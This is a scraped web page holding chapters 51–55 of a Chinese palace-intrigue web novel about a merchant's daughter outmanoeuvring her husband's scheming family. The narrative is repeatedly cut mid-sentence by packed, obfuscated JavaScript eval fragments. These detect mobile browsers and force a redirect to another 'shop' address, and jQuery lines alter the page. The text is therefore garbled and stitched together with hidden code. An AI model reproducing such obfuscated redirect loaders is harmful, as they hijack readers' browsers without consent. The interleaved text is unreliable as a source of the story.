RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017265|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那我便静候佳音了。” “青青,你且放宽心,我定不会让你失望,你等着,我这就回去同母亲商量一下,一定立马休了她,然后八抬大轿迎你进我安阳侯府!” 徐青青含泪点头:“我等你,你且回去吧,若是让旁人发现了,十张嘴也说不清……” 孙协兆不舍,心中对顾皎皎越发不满起来,最终一步三回头离开。 安阳侯府 “老夫人,三爷来了,说是有事与您商量。”宋嬷嬷俯身在假寐的孙老夫人旁边轻声提醒。 闻言,孙老夫人睁开眼:“协兆怎会这时候来找我?” 宋嬷嬷:“奴婢也不知,瞧着三爷的模样,似乎十分着急。” “那还不快将协兆带进来。” 孙协兆大步跨进屋内,他俯身行礼:“儿子见过母亲。” 孙老夫人摆手:“协兆,宋嬷嬷说你有要事寻我?” “嗯。”孙协兆点头,默了数秒后,他坚定道:“儿子想休妻。” 孙老夫人愕然:“可若是现在休妻,怕是并无十分把握能将她手中嫁妆悉数扣下。” 孙协兆不耐:“若是无法让她自愿留下嫁妆,那便使些手段便是,母亲,你可知因为顾皎皎那贱妇,青青如今过得有多惨?” “那日若不是顾皎皎设计破坏,青青早已高调认亲,如今早就是高高在上的平王府郡主,我若是与青青成了婚,于安阳侯府大有裨益,不说重回最光辉之时,却怎么也不会走下坡路!” 孙老夫人自然知晓孙协兆的话不虚,侯府的情况远不及表面风光,否则她也不会非要让顾皎皎管家了! 一想到青云梯被顾皎皎破坏,她气得牙痒:“如今咱们侯府日渐式微,眼见着出了青青这样一个贵人,却全给那贱蹄子给破坏了!” “正是如此,母亲,如今青青还愿跟我,我们不可错失良机啊!” 孙老夫人眯眼,一个计划在心中形成雏形:“协兆你放心,我定然会将休妻之事安排好!” 第五十一章 打了个措手不及 “你那边也千万要将青青稳住,莫要让她对咱们寒了心才是,否则到时咱们不是两头落空?” 孙协兆闻言笑了笑,他自信道:“母亲放心,自是不能两头落空的,青青我要娶回安阳侯府,顾皎皎的嫁妆也得留在咱们安阳侯府!” “只要计划周全些便是。” 孙老夫人点头,眸中的贪婪掩藏不住:“掏空她之前,总还得榨干她的最后一丝利益才是……” 母子二人交谈十分入神,丝毫没注意到门外一抹黑影一闪而过。 皎月阁 “姑娘,眼线那边传来消息,说孙三从府外回来后便直接去了老夫人院子,二人房门紧闭,摒退了所有下人,不知在房中商量何事,至今未出。” 莺儿端着一盘冰镇龙眼站在顾皎皎身侧,声线微微放低。 顾皎皎躺在贵妃榻上假寐,闻言,她纤长的睫毛轻微颤动几下,眼眸轻抬。 “蛇鼠一窝之人,又能商量什么好事儿?可能又是想在我处骗取银钱吧,咱们平日小心一些便是,待到和离,咱们也算解脱了。” 莺儿点头,剥了一颗龙眼递到顾皎皎唇边:“姑娘说得是,只是他们在暗,我们在明,就怕有时候被打了个措手不及。” 一阵声音传来,二人的交谈停住,双双看向不远处拿着扫帚扫地的秋容。 虽然如今她的身子已然好转,可到底受了重伤,原本微微圆润的身材变得消瘦了不少,整个人透着一股小家碧玉的秀气感。 她一边扫地,一边有意无意的朝着顾皎皎寝屋方向瞧过来。 莺儿见状恼了:“这人真是狗皮膏药似的,姑娘您都大人有大量愿意接受她继续在皎月阁伺候,她却整日都想着监视姑娘你!” “真是不晓得老夫人究竟给她灌了什么迷魂汤,让她这般死心塌地追随。” “嘘”顾皎皎睁眼,眸中满是慵懒之色:“明日将秋容调回我身边伺候吧,她每日这般想方设法靠近我,也真是委屈她了。” 莺儿睁大了眼:“姑娘,您说什么?您忘记她之前做的事儿了吗?” 顾皎皎笑了笑:“我怎会不知?方才你也说了,他们在暗我们在明,与其让秋容像毒蛇似的阴恻恻在身后监视着我,不如将她调到身边来,这样她何时喷出毒液我才能知晓,也能利用她混淆视听。” 莺儿瞬间了然,当即喜笑颜开:“是姑娘,明日奴婢麻溜地将她调回来。” “嗯。”顾皎皎轻应了一声,手指轻捏眉心:“今日先将她打发了吧,看见她心中便烦闷。” 莺儿离开,数秒后,顾皎皎凝神看向身后窗柩处,声音冷然:“既然来了,便进来喝杯茶,在外边躲躲藏藏算什么?” 房间陷入寂静,只余微风浮动的呼呼声,片刻后,轻微的脚步声传来,一席黑衣的双剑出现在窗柩处。 见是他,顾皎皎有些诧异:“怎会是你?你来我皎月阁作甚?” 难道是小云南王对上次自己拒绝他一事不满,所以叫了身边人来绑了她? 微微打量双剑一番,她将这个想法抛诸脑后,若真是为了绑她,直接砸晕带走便是,又何必躲在窗外? 双剑拱手道:“顾夫人,我们小王爷请您到第一楼老地方一聚。” 老地方? 顾皎皎有些懵,嘴脸微微抽搐,双剑这话好似她与小云南王十分熟悉似的,实际上也不过是见过寥寥几面罢了。 小云南王此次找自己,怕是又为了上次一事,她实在无意与其多纠缠。 顾皎皎礼貌一笑:“烦请转告小王爷,上次我已经将话说清楚,至今并无反悔之意,况且小王爷也说了,我有选择的权利,所以还请小王爷日后莫要扰我清净生活才是。” 双剑未料到顾皎皎会这般说,愣了两秒,而后才开口道:“顾夫人误会了,小王爷此次唤小的来寻顾夫人,并不是为了强迫夫人您。” “哦?那是何意?” 双剑:“小王爷的意思,小的也不敢揣测,只知此事与顾夫人有关联,且是对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017266|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您有益的,若是顾夫人有空闲,可与小的走一趟。” 顾皎皎并未马上答应,心思千转百回,在去与不去之间犹豫。 罢了,去便去吧,总归不会没命就是了,万一他手中的消息真能够帮助自己呢? 片刻后,她轻轻点头:“好,你等我片刻,我更衣后便与你一道去。” 第一楼 沈云祉负手立于窗前,黑色劲服勾勒出宽肩窄腰,如白杨伫立,颇有断雁孤鸿之资。 瞧见楼下那抹熟悉的倩影,他唇角微微勾了勾。 不消片刻,顾皎皎便被带到沈云祉跟前,她福身行礼:“见过小王爷。” 沈云祉转身:“不必多礼,请坐。” 顾皎皎身形未动,她直直看向沈云祉:“双剑说,小王爷处有与我相关的消息,是以我才过来,为了不耽搁小王爷的时间,还请小王爷直接告知才是。” 沈云祉微微一笑:“心急吃不了热豆腐,顾夫人又何必火急火燎的?” 怕耽搁他的时间?恐怕是嫌弃他耽搁了她的时间才是吧? 顾皎皎没办法,只能坐下。 双剑替二 人各自到了一杯茶水,沈云祉端起茶盏轻抿,片刻后,他才道:“顾夫人如今在安阳侯府内,对安阳侯府的掌握有多少?可是两耳不闻窗外事,一心只读圣贤书的状态?” 他这是何意? 顾皎皎挑眉,他怎知自己整日无事便会抱着书看?他监视自己? 摸不清沈云祉的态度,她模棱两可道:“我本就出身卑微,能嫁到安阳侯府已经是天大的福气,如今我也并未掌家,又哪里谈得上掌控不掌控的?是以,每日也只能每日读些杂记打发时间了。” “杂记。”沈云祉笑了笑:“日日遨游书海自然快活,只是顾夫人还是得确保安阳侯府在自己的掌握之中,既然出身卑微,那便更不能日日得过且过了,否则人为刀俎你为鱼肉。” 顾皎皎低垂着眉眼安安静静,闻言未发一语。 第五十二章 照顾之恩 直到此刻,她才品出沈云祉究竟是何意,他这是在提醒自己? 可二人萍水相逢,除了寒奉寺那一夜……二人相见不过寥寥数面,身份尊贵的小云南王又为何会反常的帮助自己? 沈云祉将她的表情尽收眼底,他唇边笑意加深了些许:“顾夫人,虽然你说了你与协兆并无感情,迟早要和离,可主动和离与被动被休,是两种截然不同状态,如今你手中握着金山银山,孙家自会想方设法休你留财……本王此话,你可明白?” 顾皎皎眼眸闪了闪,沈云祉这次说得十分直白,就差告诉她孙家要使计休她了,况且,听小云南王的意思,孙家不止想要休她,而是想用腌臜手段将她的所有资产占为己有? 心中陡然升起一股怒气,她之所以对孙协兆与孙老夫人的动作睁一只眼闭一只眼,那是因为她本也在计划和离。 怎料那老虔婆竟还敢算计她手中钱财! 见她久久没答话,沈云祉眉头微蹙,他重复道:“顾夫人,方才本王说的,你可明白?” 顾皎皎猛的清醒过来,她发自内心一笑:“多谢小王爷提醒,我听明白,我定然不会辜负小王爷的好意。” 沈云祉眸中带着丝丝欣赏之色:“本王不过见不得他们阖府欺负一个女子,不过出言提醒一番罢了,谈不上好意不好意,。” 顾皎皎颔首:“好意便是好意,花言巧语我不屑说,但是小王爷今日之情我会谨记,日后我便欠了小王爷一个人情,若是有用得上我的地方,我定然赴汤蹈火,在所不辞。” 说完,她笑看着对面之人,眼眸如星子一般灿烂,眸中满是真诚。 沈云祉呼吸滞了一瞬,他倒是从未见过顾皎皎这幅模样,忽觉兴致颇高,他勾唇道:“日后的事日后再说,双剑,送顾夫人回去吧。” 平王府书房 李嬷嬷请示:“王爷,如今姑娘已经刷洗恭桶半月有余,现下可能将她接出?” 平王放下手中兵书,觉得颇为麻烦,英挺的眉毛拧了拧:“王妃那边最近是个什么情况?可有过度关注徐青青之事?” 李嬷嬷:“回王爷,王妃除了前七日,日日派人去刁难姑娘外,并无其他动作,七日过后更是未曾过问姑娘一事。” 闻言,平王松了口气:“既如此,你今日便去将她接出吧,虽说生母是个上不得台面的,可毕竟是本王的骨肉,真让她一辈子刷洗恭桶像个什么样子?” 李嬷嬷点头:“是,王爷,那将姑娘接出后如何安置?可要摆一个认亲宴?” “认亲宴?”平王冷笑:“她如今也配?” 那日徐青青与孙协兆在塌上厮混的画面又闯入脑海,他咬牙切齿:“如今京中都对那日之事摆谈得津津有味,且不少人见过徐青青长相,若本王此刻高调认亲,那不是白白惹人笑话?” 说完,他摆了摆手:“且再等等吧,先随意找个院落给她住着,待日后风头过后,看她表现再考虑要不要认亲。” 李嬷嬷领命退下。 经过半月有余的磋磨,徐青青消瘦得厉害,她日日吃不饱饭,还得刷洗恭桶,整个人都快没个人形了。 如今支撑她坚持下去的,只有对顾皎皎的恨,她日日都希望孙协兆能带来已经将她休弃的消息,却日日都失望。 当看到李嬷嬷的身影出现在院门口时,徐青青愣了数秒,而后差点热泪盈眶:“嬷嬷,您是来接我出去的吗?” 李嬷嬷看着徐青青眸色复杂,她知晓王妃的手段,却未曾料到王妃竟是一点颜面也不给王爷留。 “是的,姑娘,王爷吩咐奴婢将你带出去,日后你再也不用刷洗恭桶了。” 徐青青觉得仿若在做梦,她豁然站起身,手中毛刷滚落在地,她颤着声音确认:“当真?” “自然当真。”李嬷嬷笑了笑,她靠近徐青青,拉着她便往院外走。 “等等。” 徐青青的步子陡然停住,如今自己被父王接出去,那是不是代表着她有权利了?她今后便是平王府尊贵的郡主了? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017267|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想到这些日子被林嬷嬷蹉跎的场景,徐青青眸中满是恨意,如今她即将成为身份尊贵的郡主,她如何不能一雪前耻? 她咬牙道:“李嬷嬷,我想去见一见林嬷嬷,感谢她这段时日的照顾。” 林嬷嬷看了她一眼,神色复杂:“若是姑娘执意要去,奴婢自然无权干预,可姑娘需知,林嬷嬷乃是王妃的人。” 徐青青胡乱点头:“我知晓,李嬷嬷放心。” 就算林嬷嬷是王妃的人又怎样?王妃难道还能大得过父王?如今父王已经发话接她出去,那便是王妃也无权干预! 打定主意,徐青青快步走到林嬷嬷住处。 林嬷嬷见到她,刻薄道:“你跑来这里作甚?今日的恭桶可刷了?若是你整日偷奸耍滑的,莫怪我禀报王妃了!” 王妃二字彻底将徐青青的情绪点燃,她红着眼,如发疯一般靠近林嬷嬷,在她还未反应过来时,她一把薅住林嬷嬷稀疏的头发。 “啊!贱蹄子,你这是做什么?你不怕我禀报王妃吗?” 林嬷嬷尖叫,不停乱动,却仍旧未曾挣脱。 徐青青 将她拖到恭桶边上,将她的整个头按进满是污秽之物的恭桶旁。 林嬷嬷的尖叫声、求救声、吞咽声此起彼伏,边上围观的丫鬟却无一人敢靠近,都怕徐青青发了疯将自己也按进恭桶里。 直到筋疲力尽,徐青青才停下动作。 看着面前浑身恶臭,嘴脸带着淡黄渍的林嬷嬷,她开怀大笑。 心情颇好地走到李嬷嬷身边,她道:“走吧,林嬷嬷的照顾之恩已报!” 看着走在前头的徐青青,李嬷嬷摇头叹息,终归是个沉不住气之人,难怪王爷会那般说…… 李嬷嬷按照平王吩咐,给徐青青寻了一个还算雅致的别院。 “姑娘,今后你便住在这儿,稍后奴婢会拨几名女使来伺候您。” 徐青青点头:“劳烦李嬷嬷了,不知父王可有空,我想去给他请安。” 第五十三章 严惩 李嬷嬷轻轻摇头,礼貌微笑:“姑娘,王爷整日日理万机,暂时无暇见您,您暂且在此处安置,王爷若是有空了,自然会来寻你。” “还有……”她顿了顿。 徐青青忙追问,眸中带上一抹光亮:“还有什么?李嬷嬷不妨直说。” “好吧。”李嬷嬷点头:“既然姑娘开了口,那奴婢也就不藏着掖着了,虽然王爷如今让奴婢将您接出,可到底未曾认亲,为了避免不必要的麻烦,还望姑娘日后同我们一样,唤王爷,而非……父王。” “什么?”徐青青面上血色尽失,李嬷嬷这话是什么意思?父王还是不打算认自己?既然如此,他又何必让李嬷嬷将自己接出来,为什么要给了她希望又给她失望? 她咬紧牙关,努力抑制住发颤的贝齿,努力让自己看起来没事儿。 片刻后,她低垂下头,恭顺道:“我知晓了,李嬷嬷提醒得是。” 李嬷嬷见状难得露出满意的神色,她道:“姑娘沉得住气便是好的,相信终有一日定会守得云开见月明。” “那奴婢便不打扰姑娘了,您这段时日受了苦,好生歇息歇息吧,院中的奴仆,待会儿会自己过来。” 徐青青笑着点头:“我知晓了,李嬷嬷,你且去忙你的吧。” 目送李嬷嬷的背影消失,她面上笑意瞬间荡然无存。 不让她去见父王?她偏要去! 这平王府就是吃人的魔窟,若是没有郡主的身份傍身,她迟早被王妃等人磋磨至死。 冷脸打量了院子几眼,徐青青嘲讽一笑:“真是破落寒酸,恐怕下人住的院落,也能与这儿较上一较了。” 打定主意,她简单梳洗一番便往平王书房位置过去,幸好她刷洗恭桶的时候,和旁人打听了一些消息,否则此刻还真是两眼一抹黑。 林嬷嬷命人打了数桶水,洗了数次澡,身上也还有一股污秽之物的气味,一想到方才她吃下去软绵绵的物体,她就忍不住呕吐。 吐到胃中啥也没有了,林嬷嬷才阴沉着脸起身。 一旁的小丫鬟战战兢兢的:“嬷嬷,可以奴婢再去打点水给你淑下口?” “漱什么漱!” 林嬷嬷一挥手,丫鬟手中器具掉了一地,她冷声道:“漱口便能消我心头之恨吗?徐青青那贱蹄子,看我怎么收拾她!” 说着,她一挥手:“走,随我去找王妃,今日之事怎么也得告诉她,否则那徐青青怕是狐狸尾巴都要翘上天了!” 林嬷嬷一到王妃寝屋,便掐了自己大腿几下,尖锐的疼痛使她即刻红了眼眶。 下人领着她进去寝屋后,她当即便跪在地上哭天抢地:“王妃啊,您可得替奴婢做主啊,您不知道那贱蹄子究竟有多嚣张,她明知奴婢是您的人,却还是对奴婢这般,分明是没将王妃您看在眼里啊!” 平王妃慵懒地仰躺在贵妃塌上,随着林嬷嬷开口,一股难闻的气味袭来。 她皱眉,握着帕子的手轻轻掩鼻:“林嬷嬷,你身上这股恶臭之味从何而来?” 林嬷嬷的哭诉噎住,她面色青白交加,数秒后,她咬牙道:“回王妃,是徐青青那贱蹄子,她听到奴婢是您的人后,便发了疯一般将奴婢拖到恭桶旁,还……还将奴婢摁了进去……” 在场众人闻言解面色各异,实在想不到林嬷嬷究竟受了好大的屈辱,瞧她那张嘴说话如此大的气味,应当也是吃了不少污秽之物的。 平王妃显然也想到了这儿,她忽觉有些恶心,眉头轻轻蹙起:“那徐青青竟这般猖狂?她如此动作,可是未曾将本王妃瞧在眼里?” 林嬷嬷连连称是:“可不是吗王妃,那贱蹄子就是听见李嬷嬷说奴婢是您的人后,才发疯一般冲进来的。” “李嬷嬷?”平王妃眯眼:“接徐青青出去,是王爷的意思?” 林嬷嬷一时不知如何回答,她模棱两可道:“奴婢也不知,总之瞧着徐青青的模样,似乎是笃定了有人撑腰,猖狂至极!” 王府中谁人不知李嬷嬷是跟在王爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017268|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边的老人,李嬷嬷出面便等同于王爷出面。 可哪怕在场众人都心知肚明,却是一个人也不敢提的。 “呵。”平王妃唇角微勾,眸中情绪复杂,内里不知是怒还是笑。 林嬷嬷顿觉头皮发麻。 片刻后,平王妃从塌上起身,她淡淡睨了林嬷嬷一眼:“你也真是个不讲究的,见本王妃竟这般浑身恶臭便过来了,不怕本王妃治你的罪吗?” “王妃明察!”林嬷嬷磕头:“奴婢洗了数次澡,之所以急吼吼跑来见您,是奴婢实在瞧不得她那样一个卑微之人,竟敢蔑视王妃您……” “奴婢觉得,徐青青定是对那日之事心生怨怼,所以才借由收拾奴婢来打您的脸。” 小心翼翼打量平王妃的面色,林嬷嬷继续道:“王妃,若是您不严惩她,指不定她仗着有人撑腰,就爬到您头上了……” 平王妃听完林嬷嬷所言,面色仍旧平静,久久未发一语。 她摊开手欣赏自己颜色艳丽的指甲,红唇勾起,片刻后她看向林嬷嬷似笑非笑道:“既然她这般糊涂,林嬷嬷,你便替本王妃给她立立规矩吧。” 林嬷嬷欣喜若狂:“是,王妃,奴婢这就去!” 她前脚还未踏出屋子,后脚便被冬儿叫住:“林嬷嬷稍等片刻,王妃还有事叮嘱。” 林嬷嬷回头,谄媚一笑:“王妃,您请说。” 平王妃:“李嬷嬷也是平王府的老人了,不看僧面看佛面,既然是李嬷嬷亲自将徐青青接出,那便给她一个面子,下手顾虑着些。” 林嬷嬷咬牙,心中颇为不甘心,她方才已经想好了怎么收拾那贱蹄子,可如今王妃发了话,只能另想法子了! 她牵强一笑:“是,奴婢省得,王妃您放心。” 安阳侯府 秋容自重新回到顾皎皎身前伺候过后,又恢复了从前那副了不得的模样。 想到方才老夫人的嘱咐,秋容笑意盈盈:“姑娘,老夫人请您花园去一趟。” 第五十四章 怎能让她如愿 顾皎皎正与莺儿同绣一张布匹,闻言她头也未抬:“请我去花园做什么?赏花吗?若是母亲想赏花的话,大嫂二嫂比我更加懂欣赏,让大嫂二嫂陪母亲去就是了。” 秋容闻言急了,她忙道:“可是姑娘,老夫人说了府里所有夫人都要到场,她有要事吩咐。” 顾皎皎抬眸,似笑非笑看着她:“你没瞧见我正与莺儿忙着呢吗?瞧你那热切劲儿,不知道的还以为母亲才是你的主子呢。” 秋容的心瞬间跌落谷底,冷汗涔涔,她赶忙跪倒在地:“姑娘,您误会了,奴婢只是不希望您与老夫人的关系变僵,奴婢也是为了您考虑啊!” 她跪着爬到顾皎皎脚下,痛哭流涕:“奴婢是随姑娘从顾府来到安阳侯府的,可以说整颗心都拴在姑娘身上,只有瞧见您与孙老夫人婆媳关系融洽,奴婢心中才能安心啊!” 看着地上戏精上身一般的秋容,莺儿气得跺脚:“真是好赖话都让你给说了,口口声声说着为咱们姑娘考虑,可我瞧着,你分明一颗心……” “莺儿。” 顾皎皎淡淡唤了一声,莺儿立马闭了嘴,只拿铜铃般的大眼睛死死瞪着秋容。 秋容自然是不服气的,冷哼着瞪了回去:“姑娘都还没说话,哪里有你说话的份儿?你真是拎不清自己的身份!” 顾皎皎不动声色看了秋容一眼,心中有些不喜,她骂莺儿伶不清身份的同时,可有想过她自己是什么身份? 心中虽这般想,她面上却仍旧平和笑着。 待二人收了视线,她才轻声道:“瞧你们二人,都是从顾府出来的,却成了这样水火不容的模样,这不是白白让人瞧笑话吗?” 秋容:“姑娘,分明是莺儿先数落奴婢的不是。” 顾皎皎笑了笑:“你二人都有不对之处,你们就此和解吧,不是说母亲和大嫂二嫂还在花园等着?咱们快些过去吧。” 秋容闻言欣喜,忙爬起身:“是,姑娘,奴婢在前面给您带路!” 顾皎皎与莺儿走在后面,莺儿面色难看,一副欲言又止的模样。 顾皎皎冲着莺儿摇头,示意她莫要冲动。 虽然知晓孙老夫人叫自己前去花园,定是又憋了什么坏招,可若是一味的拒绝也不是办法,既然他们注定要出招,那不若早早接招,终归得一一化解了才能达成目的。 顾皎皎的眸中爬上一抹坚定,仿若已经瞧见了那一纸和离书到手时的场面。 等主仆三人到达花园时,花园中已经站了不少人。 刘氏翻了个白眼,冷嘲热讽道:“哟,我当是谁姗姗来迟呢,原来是三房的夫人呢。” 章氏也在一旁附和:“三弟妹,不是我们当嫂嫂的说你,再怎么母亲也是长辈,怎能她派人三请四请,你才不情不愿的过来呢?” 孙老夫人叹息:“哎,你们都莫要说皎皎了,想来她也不是故意的,这次她本来,我这把老骨头也十分欣喜了。” 她的这幅表情加上这番话,无一不是在控诉顾皎皎不孝。 在场其余人都用鄙夷的眼神看向她。 “是啊三夫人,你看看孙老夫人如今清瘦的模样,多半是料理家务累着了,你作为儿媳,怎么也该替她分担一些才是啊,怎的竟会躲懒?” 顾皎皎笑着回望提问之人,这人与刘氏熟识,是闺中时关系十分要好的密友。 想来她今日之话也是受了刘氏所托。 她笑了笑:“这位夫人说笑了,谁人不知安阳侯府有三位儿媳,上有大嫂二嫂在,我做为最小的,怎敢越过两位嫂嫂去替母亲做什么?若是旁人知晓了,指不定怎么编排两位嫂嫂呢!” 那人恼了:“你这话说得牛头不对马嘴,之前安阳侯府也是你在管家,大夫人与二夫人可从未染指过,如今我瞧着老夫人瘦弱的模样心中不忍,是以才点了你两句,没料到你净东拉西扯,恨不得将所有责任都瘫到你两个嫂嫂身上!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017269|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她呸了一声:“当真是商户出来的商户女,真是上不得台面,要我说,孙老夫人之前就是太惯着你了,竟将掌家之权交给你。” 孙老夫人:“其实皎皎平日里待我与她二位嫂嫂十分不错的,只是她毕竟不是出身官家,难免某些方面有所欠缺,我与协兆,乃至她的两位嫂嫂都愿意接纳她,教导她。” 老夫人此话一出,在场人皆赞叹安阳侯府重情重义,奉承之声此起彼伏。 顾皎皎冷眼看着面前一幕,唇边笑意冷然。 孙家这些人真是一个比一个不要脸,整日便想着踩低她来给安阳侯府争面子,她怎能让她如愿? 她笑了两声,将所有人的视线都拉了过来,如今他们几人一唱一和,已经将旁人对她的印象固化,她此刻纵使说破喉咙,怕也不会有人相信分毫。 若想扭转印象,只能后续徐徐图之,如今她能做的只有尽量转移诸位夫人关注的重点。 想清楚一切,顾皎皎温和一笑,她附和道:“是啊,母亲说得有理,却是母亲与两位嫂嫂教给我不少东西,二嫂嫂之前掌家时也有值得我学习之处。” 见她又提到自己掌家一事,刘氏面色变了变,她刚想出口阻止,她的那位闺中密友已经十分 得意的接了话。 “那是自然,二夫人可不像你,出身商贾,处理区区内宅之事,肯定游刃有余。” 顾皎皎笑:“是啊,二嫂嫂自然非同凡响,那日小云南王虽然在饭厅前等了许久,可吃了二嫂嫂准备的饭菜后,竟一点儿也没恼怒,想来若是二嫂嫂日后准备宴请之时,提前安排好一切,也不会累及旁人临时去凑银两。” 现场顿时鸦雀无声,众夫人面面相觑,他们是知晓安阳侯府的三爷与小云南王交好,也知晓小云南王本来安阳侯府用过膳,可没料到其中竟然还有这种内幕。 刘氏掌家时,竟连安排两桌席面都安排不妥当,这便罢了,竟还让身份尊贵的小云南王等着! 第五十五章 不留薄面 原本落在顾皎皎身上的异样目光悉数落到了刘氏身上。 刘氏心虚,自是一个字也不敢说,只能瞪着顾皎皎怒骂:“三弟妹,你真是好恶毒的心,怎能这般诋毁编排我?” 顾皎皎笑了笑:“二嫂嫂是说我编排了什么?是小云南王到咱们安阳侯府用膳时等了一个时辰之事,还是第一楼追着咱们安阳侯府要银子之事?” “什么,小云南王竟等了一个时辰?第一楼向来钱货两清,二夫人怎的这般伶不清,银子应当最早结了才是呀。” 渐渐的,有人交头接耳窃窃私语起来,有质疑也有认同:“这安阳侯府的二夫人一直以贤良淑德自称,曾经更是在京中大肆宣扬她的出身与在闺阁时曾受到的名师教诲,应当不会如三夫人所说这般,连区区两张席面也处理不当吧?” “那可不一定,兴许二夫人闺中时,只学了女工女红、谈诗作画,一个整日浸润于风花雪月的闺中女子,自然对掌家之事不甚精通。” 一人咂舌:“这位夫人说得极是,不精通掌家之事倒也无妨,可没有金刚钻别揽瓷器活,没有掌家才能,也不应逞强接掌家之权才是。” 议论声越来越大,逐渐将议论重心从顾皎皎身上转移到了刘氏身上。 见目的达成,顾皎皎勾唇,她看向孙老夫人:“母亲,今日既然请了诸位夫人过来,您怎的不早些叫儿媳呢,儿媳本是想绣一个花样子在布匹上,好给您做一身衣裳的,结果半个时辰前,秋容火急火燎来唤我,绣花针不慎刺破了手指,一块上好的蜀锦,竟就这样毁了,真是可惜。” 孙老夫人听到上半句时心中有多喜悦,听到下半句时就有多愤怒,以至于她未曾听到顾皎皎话中的陷阱。 她皱眉埋怨道:“还不是你自己不中用,竟还有脸说出来,也不怕各位夫人笑话你,不过来个下人唤你而已,你竟就吓到刺破了手指?真是不堪大用。” 孙老夫人话音一落,夫人们都纷纷交换视线,眸中透着一股了然,方才几人都称这安阳侯府的三夫人不识抬举,做婆母的三请四请才姗姗来迟,怕是那些都是假的,如今从三夫人口中却听到的才有几分真实性。 章氏轻轻扯了扯孙老夫人的衣袖:“母亲,三弟妹记岔了,您也记岔了吗?哪里是半个时辰前才去请的三弟妹?” 孙老夫人心一沉,这才后知后觉意识到自己又着了顾皎皎的道,她笑着向众夫人解释,夫人们也只是礼貌笑笑,未发一语。 “老夫人,今日花也赏的差不多了,我府中还有些事情,就先行告辞了。” 孙老夫人:“好,夫人慢走,今日这园中花不过开了十之一二,看着不甚惊艳,等过几日花竞相开放之时,安阳侯府会举办一个赏花宴,到时诸位夫人可千万携家属前来啊。” 夫人们一一应下,陆陆续续离开。 没一会儿,偌大的花园中便只剩孙老夫人、章氏、刘氏与顾皎皎四人。 孙老夫人冷着脸看向顾皎皎:“今日你竟敢在这么多夫人面前胡言乱语,你该当何罪?” 刘氏附和:“是啊,三弟妹,我瞧着那些个夫人之所以慌着离开,可都是因为你嘴上没个把门,什么话都往外说。” 顾皎皎看着面前几人张张合合的嘴与尖酸刻薄的面皮,越发觉得刷新了她的三观,她们不要脸程度简直无人匹敌。 向来这些人都是无耻惯了的,不过可惜她可不会惯着她们。 顾皎皎冷笑道:“试问方才儿媳说的可有哪句话是虚的?倒是母亲与两位嫂嫂,口中无一句实话,颠三倒四的。” 老夫人没料到顾皎皎竟敢直接与自己杠上,面上的褶子都带着怒气,她伸手怒骂:“好你个顾皎皎,你竟敢辱骂婆母与长嫂,你从前读的圣贤书都读到狗肚子去了?你父亲究竟是如何教导你的?竟是这般对待长辈。” 听见孙老夫人提自己父亲,顾皎皎面上神色冷了三分,这下是一丁点薄面也不想留了,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017270|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘲讽道:“母亲,您也知您与嫂嫂是为人长者?可您与两位嫂嫂哪里有点为人长的模样?” “你!” 